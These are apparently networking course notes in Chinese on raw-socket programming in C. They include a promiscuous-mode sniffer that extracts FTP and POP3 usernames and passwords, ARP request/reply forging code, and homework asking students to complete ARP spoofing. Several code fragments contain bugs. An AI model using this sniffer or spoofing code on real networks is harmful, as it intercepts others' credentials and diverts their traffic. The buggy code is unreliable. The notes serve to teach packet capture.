Try   HackMD

Sniff frames 設計 tcpdump, Wireshark 基本原理

tags: C LANGUAGE AF_PACKET sniff frames ARP spoofing

Author: WhoAmI
email: kccddb@gmail.com
Date: 20220728
Copyright: CC BY-NC-SA

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

網路程式 bugs 除不盡春風吹又生-Wireshark幫助您

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

AF_PACKET

AF_PACKET 的運用, 這裡找找出 ftp 帳號與密碼, 請勿用於非法用途!(最好別用 AF_INET)

注意 FIXME

See also traceroute source code (busybox)
運用 改變 TTL 的值, 得到回應, 新的 traceroute, 要是 太難, 請找 舊版 的 IPv4 研究

/* Sinff Ethernet Frame Educational Purposes! Do your best to be ethical and respect copyright. See also maximum transmission unit (MTU) Author: WhoAmI 2019/02/26 */ #include <stdio.h> #include <stdarg.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <signal.h> #include <net/if.h> #include <sys/types.h> #include <netinet/if_ether.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <sys/time.h> #include <unistd.h> #include <sys/wait.h> #include <string.h> #define IP_PROTOCOL 0x800 #define TCP 06 #define MAXMTU 2048 #define debug(x) x // gcc Variadic Macros #define eprintf(...) fprintf (stderr, __VA_ARGS__) #define oprintf(...) fprintf (stdout, __VA_ARGS__) #define PANIC(msg) {perror(msg),exit(EXIT_FAILURE);} static void set_promiscuous_mode( char* interface ) { int sock; struct ifreq flags; sock = socket( PF_INET, SOCK_PACKET, htons( ETH_P_ALL ) ); strcpy( flags.ifr_name, interface ); ioctl( sock, SIOCGIFFLAGS, &flags ); flags.ifr_flags |= IFF_PROMISC; if(ioctl( sock, SIOCSIFFLAGS, &flags )<0) { perror("ioctl"); } close( sock ); } static void clear_promiscuous_mode( char* interface ) { int sock; struct ifreq flags; sock = socket( PF_INET, SOCK_PACKET, htons(ETH_P_ALL)); strcpy( flags.ifr_name, interface ); ioctl( sock, SIOCGIFFLAGS, &flags ); flags.ifr_flags &= ~IFF_PROMISC; if(ioctl( sock, SIOCSIFFLAGS, &flags )<0) { perror("ioctl"); } close( sock ); } static int findarp(struct ARPhdr *arp) { /* DIY */ return 0; } static int findtcp(struct tcphdr *tcp) { int accept=0; if(ntohs(tcp->source)==25 ||ntohs(tcp->source)==110 ||ntohs(tcp->source)==21) { accept=!0; } if(ntohs(tcp->dest)==25 ||ntohs(tcp->dest)==110||ntohs(tcp->dest)==21) { accept=!0; } return accept; } static void display(unsigned char *buf, int len) { struct ethhdr *eth= (struct ethhdr *)buf; struct ARPhdr *arp; struct iphdr *ip; struct icmphdr *icmp; struct udphdr *udp ; struct tcphdr *tcp; unsigned char *data; int header_len; int data_len; /**************************************************************************************** FIXME Depend on Protocol e.g., PPPoE, ... ****************************************************************************************/ ip = (struct iphdr *)(buf+sizeof(struct ethhdr)); arp = (struct ARPhdr *)((char *)buf+sizeof(struct ethhdr)); tcp = (struct tcphdr *)((unsigned char *)buf + sizeof(struct ethhdr) + (ip->ihl << 2)); icmp = (struct icmphdr *)((unsigned char *)buf + sizeof(struct ethhdr) + (ip->ihl << 2)); udp = (struct udphdr *)(buf + sizeof(struct ethhdr) + (ip->ihl << 2)); if(ntohs(eth->h_proto) != IP_PROTOCOL)return; //DIY if(ip->protocol != TCP)return; if (!findtcp(tcp))return; //Notice the protocol! header_len=(tcp->doff)*4; data=(unsigned char *)tcp+header_len; data_len=ntohs(ip->tot_len)-header_len-ip->ihl*4; data[data_len]=0; //FIXME //demo only if(data_len>0) { if(ntohs(tcp->source) == 21 ||ntohs(tcp->dest) == 21) { debug(printf("FTP\n")); if(strncmp(data,"USER",4)==0 ) { oprintf("[FTP]"); oprintf("[SADDR:%s] ",inet_ntoa(ip->saddr)); oprintf("[FTP Server:%s] ",inet_ntoa(ip->daddr)); oprintf("%s",data); } if(strncmp(data,"PASS",4)==0 ) { oprintf("PASSWORD :%s\n",data); } } if(ntohs(tcp->source) == 110 ||ntohs(tcp->dest) == 110) { if(strncmp(data,"USER",4)==0 ) { oprintf("[POP3]"); oprintf("[SADDR:%s] ",inet_ntoa(ip->saddr)); oprintf("[Email Server:%s] ",inet_ntoa(ip->daddr)); oprintf("%s\n",data); } if(strncmp(data,"PASS",4)==0 ) { oprintf("PASSWORD :%s\n",data); } } } } void sig_alarm(int sig) { eprintf("Alarm!\n"); eprintf("clear promiscuous mode...\n\n"); clear_promiscuous_mode( "eth0"); exit(EXIT_SUCCESS); } int main(int argc, char *argv[]) { struct sockaddr saddr; int sd ,bytes ,len=sizeof(saddr); unsigned char buf[MAXMTU]; int i; int timeout=0; if(argc>1) { for(i=1;i<argc;i++) { if(strcmp(argv[i],"-t")==0) { i++; timeout=atoi(argv[i]); } } } if(timeout) { printf("Wait %d seconds\n",timeout); signal(SIGALRM,sig_alarm); alarm(timeout); } sd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL)); if ( sd < 0 )PANIC("socket"); set_promiscuous_mode( "eth0" ); printf("Go....\n"); for (;;) { len = sizeof(saddr); memset(buf,0,sizeof(buf)); bytes = recvfrom(sd, buf, sizeof(buf), 0, (struct sockaddr *)&saddr, &len); debug(printf("recv %d bytes\n",bytes)); if ( bytes > 0 )display(buf,bytes); else break; } //請自行補 clear_promiscuous_mode, close exit(EXIT_SUCCESS); }

ARP spoofing

https://en.wikipedia.org/wiki/ARP_spoofing

ARPING
BusyBox, https://busybox.net/

NMAP
https://nmap.org/
https://nmap.org/book/man-bypass-firewalls-ids.html

經常使用錯誤的就是 : sll_ifindex! 這號碼 您可以藉由 <ip addr show> 知道此號碼!
unsigned int if_nametoindex(const char *ifname);

​​​​The sockaddr_ll structure is a device-independent physical-layer address.
struct sockaddr_ll { unsigned short sll_family; /* Always AF_PACKET */ unsigned short sll_protocol; /* Physical-layer protocol */ int sll_ifindex; /* Interface number */ unsigned short sll_hatype; /* ARP hardware type */ unsigned char sll_pkttype; /* Packet type */ unsigned char sll_halen; /* Length of address */ unsigned char sll_addr[8]; /* Physical-layer address */ };

以下只列出 ARP request, Arp reply 請於不妨礙別人的地方實驗

/* Resolve MAC address WhoAmI(cddb.tw@gmail.com) */ /*-----------------------------------------*/ #include <stdio.h> #include <stdarg.h> #include <string.h> #include <stdlib.h> /* Using new include files #include <sys/socket.h> Using Linklayer Socket kclai */ #include <sys/socket.h> #include <features.h> /* for the glibc version number */ #if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 #include <netpacket/packet.h> #include <net/ethernet.h> /* the L2 protocols */ #else #include <asm/types.h> #include <linux/if_packet.h> #include <linux/if_ether.h> /* The L2 protocols */ #endif **** #include <sys/ioctl.h> #include <signal.h> #include <net/if.h> #include <sys/types.h> #include <netinet/if_ether.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <sys/time.h> #include <unistd.h> #include <sys/wait.h> #include <time.h> #include <getopt.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> /* Send ARP request to resolve the MAC address of the gateway. Remark. myip and tip are network order */ int arp_request(int device_index,int myip,unsigned char *mymac,int tip) { struct sockaddr srcaddr; struct sockaddr dstaddr; struct sockaddr_in *sip; int interface_no; int psd,i; char empty_dest[ETH_ALEN]; struct mypkt *pkt; unsigned char *pkt_ptr; struct sockaddr_ll srcAddr_ll; int *v; char dev[40]; char *psip; psd = socket(PF_PACKET, SOCK_RAW , htons( ETH_P_ARP ) ); /* Create packet */ pkt = (struct mypkt *)malloc(sizeof(struct mypkt)); for(i=0;i<ETH_ALEN;i++) empty_dest[i]=(char) 255; memcpy( pkt->eth_hdr.h_dest ,empty_dest,sizeof(pkt->eth_hdr.h_dest)); memcpy( pkt->eth_hdr.h_source , mymac ,sizeof( pkt->eth_hdr.h_source ) ); pkt->eth_hdr.h_proto = htons ( ETH_P_ARP ); /* Arp */ pkt->arp_hdr.ea_hdr.ar_hrd = htons( ARPHRD_ETHER ); pkt->arp_hdr.ea_hdr.ar_pro = htons(ETH_P_IP); pkt->arp_hdr.ea_hdr.ar_hln = 6; pkt->arp_hdr.ea_hdr.ar_pln = 4; pkt->arp_hdr.ea_hdr.ar_op = htons( ARPOP_REQUEST ); v=(int *)pkt->arp_hdr.arp_spa; *v=myip; memcpy( &pkt->arp_hdr.arp_sha, &pkt->eth_hdr.h_source, sizeof( pkt->eth_hdr.h_source ) ); v=(int *)pkt->arp_hdr.arp_tpa; *v=tip; memcpy( &pkt->arp_hdr.arp_tha, &pkt->eth_hdr.h_dest , sizeof( pkt->eth_hdr.h_dest ) ); srcAddr_ll.sll_family=AF_PACKET; srcAddr_ll.sll_protocol=htons(ETH_P_ARP); srcAddr_ll.sll_ifindex= device_index; srcAddr_ll.sll_hatype = ARPOP_REQUEST; srcAddr_ll.sll_pkttype = PACKET_BROADCAST; srcAddr_ll.sll_halen = 0; memset( pkt->padding ,sizeof( pkt->padding ) ,0 ); bind( psd ,(struct sockaddr *)&srcAddr_ll ,sizeof( srcAddr_ll )); send( psd, pkt , sizeof( struct mypkt ) ,0 ); free(pkt); close( psd ); } int arp_reply(int device_index,int myip, unsigned char *mymac,struct ether_arp_k *arp_request ) { struct sockaddr srcaddr; struct sockaddr dstaddr; struct sockaddr_in *sip; int interface_no; int psd,i; char empty_dest[ETH_ALEN]; struct mypkt *pkt; unsigned char *pkt_ptr; struct sockaddr_ll srcAddr_ll; int *v; psd = socket(PF_PACKET, SOCK_RAW , htons( ETH_P_ARP ) ); /* Create packet */ pkt = (struct mypkt *)malloc(sizeof(struct mypkt)); for(i=0;i<ETH_ALEN;i++) empty_dest[i]=(char) 255; memcpy( pkt->eth_hdr.h_dest ,arp_request->arp_sha,sizeof(pkt->eth_hdr.h_dest)); memcpy( pkt->eth_hdr.h_source , mymac ,sizeof( pkt->eth_hdr.h_source ) ); pkt->eth_hdr.h_proto = htons ( ETH_P_ARP ); /* Arp */ pkt->arp_hdr.ea_hdr.ar_hrd = htons( ARPHRD_ETHER ); pkt->arp_hdr.ea_hdr.ar_pro = htons(ETH_P_IP); pkt->arp_hdr.ea_hdr.ar_hln = 6; pkt->arp_hdr.ea_hdr.ar_pln = 4; pkt->arp_hdr.ea_hdr.ar_op = htons( ARPOP_REPLY ); memcpy( &pkt->arp_hdr.arp_sha, &pkt->eth_hdr.h_source, sizeof( pkt->eth_hdr.h_source ) ); #if USING_MYIP v=(int *)pkt->arp_hdr.arp_spa; *v=myip; #else memcpy(pkt->arp_hdr.arp_spa, arp_request->arp_tpa,sizeof( arp_request->arp_tpa)); #endif memcpy(pkt->arp_hdr.arp_tpa, arp_request->arp_spa,sizeof( arp_request->arp_spa)); memcpy( &pkt->arp_hdr.arp_tha, &pkt->eth_hdr.h_dest , sizeof( pkt->eth_hdr.h_dest ) ); srcAddr_ll.sll_family=AF_PACKET; srcAddr_ll.sll_protocol=htons(ETH_P_ARP); srcAddr_ll.sll_ifindex= device_index; srcAddr_ll.sll_hatype = ARPOP_REPLY; srcAddr_ll.sll_pkttype = PACKET_BROADCAST; srcAddr_ll.sll_halen = 0; // strncpy( pkt->padding ,"This is My Packet" ,sizeof( "This is My Packet" ) ); memset( pkt->padding ,sizeof( pkt->padding ) ,0 ); bind( psd ,(struct sockaddr *)&srcAddr_ll ,sizeof( srcAddr_ll )); send( psd, pkt , sizeof( struct mypkt ) ,0 ); close( psd ); free(pkt); }

另一有趣的文章:
Virtual Network Interfaces, by Alessandro Rubini.

ARP​ reply

/* 20190305 WhoAmI */ #include <stdio.h> #include <string.h> #include <netinet/in.h> #ifdef LINUX #include <linux/netlink.h> #include <linux/rtnetlink.h> //#include <net/if.h> //#include <netinet/if_ether.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <linux/if_arp.h> #endif #include <errno.h> #include <stdio.h> #include <string.h> #ifdef LINUX #include <netinet/in.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> //#include <net/if.h> //#include <netinet/if_ether.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <linux/if_arp.h> #endif #include <errno.h> struct ether_arp_k { struct arphdr ea_hdr; /* fixed-size header */ u_int8_t arp_sha[ETH_ALEN]; /* sender hardware address */ u_int8_t arp_spa[4]; /* sender protocol address */ u_int8_t arp_tha[ETH_ALEN]; /* target hardware address */ u_int8_t arp_tpa[4]; /* target protocol address */ }; struct mypkt { struct ethhdr eth_hdr; struct ether_arp_k arp_hdr; char padding[18]; }; static char *INET_NTOA(in_addr_t ip) { struct in_addr in; in.s_addr=ip; return inet_ntoa(in); } static int print_packet(void *packet) { struct ether_arp_k *arp; unsigned int *v; unsigned char *p; int i; arp=(struct ether_arp_k *)packet; v=(unsigned int *) &arp->arp_spa; printf("src=[%s] MAC", INET_NTOA(*v)); p=arp->arp_sha; for(i=0;i<6;i++,p++)printf(":%02x",*p); v=(unsigned int *)&arp->arp_tpa; printf("dst=[%s]", INET_NTOA(*v)); p=arp->arp_tha; for(i=0;i<6;i++,p++)printf(":%02x",*p); printf("\n"); } int arp_reply(char *dev,struct ether_arp_k *arp_request ) { struct sockaddr srcaddr; struct sockaddr dstaddr; struct sockaddr_in *sip; //struct interface_table *ifp,*ifp_head ; ether_arp_k *ifp; int interface_no=2; //must fix it int psd,i; char empty_dest[ETH_ALEN]; struct mypkt *pkt; unsigned char *pkt_ptr; struct sockaddr_ll srcAddr_ll; int *v; psd = socket(PF_PACKET, SOCK_RAW , htons( ETH_P_ARP ) ); /* Create packet */ pkt = (struct mypkt *)malloc(sizeof(struct mypkt)); interface_no=if_nametoindex(dev); //FIX IT! for(i=0;i<ETH_ALEN;i++) empty_dest[i]=(char) 255; //set MAC Addresses memcpy( pkt->eth_hdr.h_dest ,empty_dest,sizeof(pkt->eth_hdr.h_dest)); memcpy( pkt->eth_hdr.h_source , empty_dest ,sizeof( pkt->eth_hdr.h_source ) ); if(arp_request) memcpy( pkt->eth_hdr.h_dest ,arp_request->arp_sha,sizeof(pkt->eth_hdr.h_dest)); //if(ifp) // memcpy( pkt->eth_hdr.h_source , ifp->hwaddr.sa_data ,sizeof( pkt->eth_hdr.h_source ) ); pkt->eth_hdr.h_proto = htons ( ETH_P_ARP ); /* Arp */ pkt->arp_hdr.ea_hdr.ar_hrd = htons( ARPHRD_ETHER ); pkt->arp_hdr.ea_hdr.ar_pro = htons(ETH_P_IP); pkt->arp_hdr.ea_hdr.ar_hln = 6; pkt->arp_hdr.ea_hdr.ar_pln = 4; pkt->arp_hdr.ea_hdr.ar_op = htons( ARPOP_REPLY ); memcpy( &pkt->arp_hdr.arp_sha, &pkt->eth_hdr.h_source, sizeof( pkt->eth_hdr.h_source ) ); memcpy(pkt->arp_hdr.arp_spa, arp_request->arp_tpa,sizeof( arp_request->arp_tpa)); memcpy(pkt->arp_hdr.arp_tpa, arp_request->arp_spa,sizeof( arp_request->arp_spa)); memcpy( &pkt->arp_hdr.arp_tha, &pkt->eth_hdr.h_dest , sizeof( pkt->eth_hdr.h_dest ) ); srcAddr_ll.sll_family=AF_PACKET; srcAddr_ll.sll_protocol=htons(ETH_P_ARP); srcAddr_ll.sll_ifindex= interface_no; srcAddr_ll.sll_hatype = ARPOP_REPLY; srcAddr_ll.sll_pkttype = PACKET_BROADCAST; srcAddr_ll.sll_halen = 0; // strncpy( pkt->padding ,"This is My Packet" ,sizeof( "This is My Packet" ) ); memset( pkt->padding ,sizeof( pkt->padding ) ,0 ); bind( psd ,(struct sockaddr *)&srcAddr_ll ,sizeof( srcAddr_ll )); send( psd, pkt , sizeof( struct mypkt ) ,0 ); #ifdef DEBUG00 printf ("Send ARP Reply....\n"); print_packet(&pkt->arp_hdr); #endif close( psd ); free(pkt); } main(int argc,char *argv[]) { int i; unsigned int rindex; //rindex = if_nametoindex(argv[i]); rindex = if_nametoindex("eth0"); for(i=0;i<100;i++){ arp_reply("eth0",NULL); sleep(1); } } ``` Homework: 1. 完成 ARP spoofing 2. 先用 Wireshark 觀察 SMTP, 進而 寫 一程式 可以傳送 e-mail 3. SMTP 也可參考 busybox 4. study BusyBox ether-wake [5. study traceroute](https://elixir.bootlin.com/busybox/0.60.0/source/networking/traceroute.c)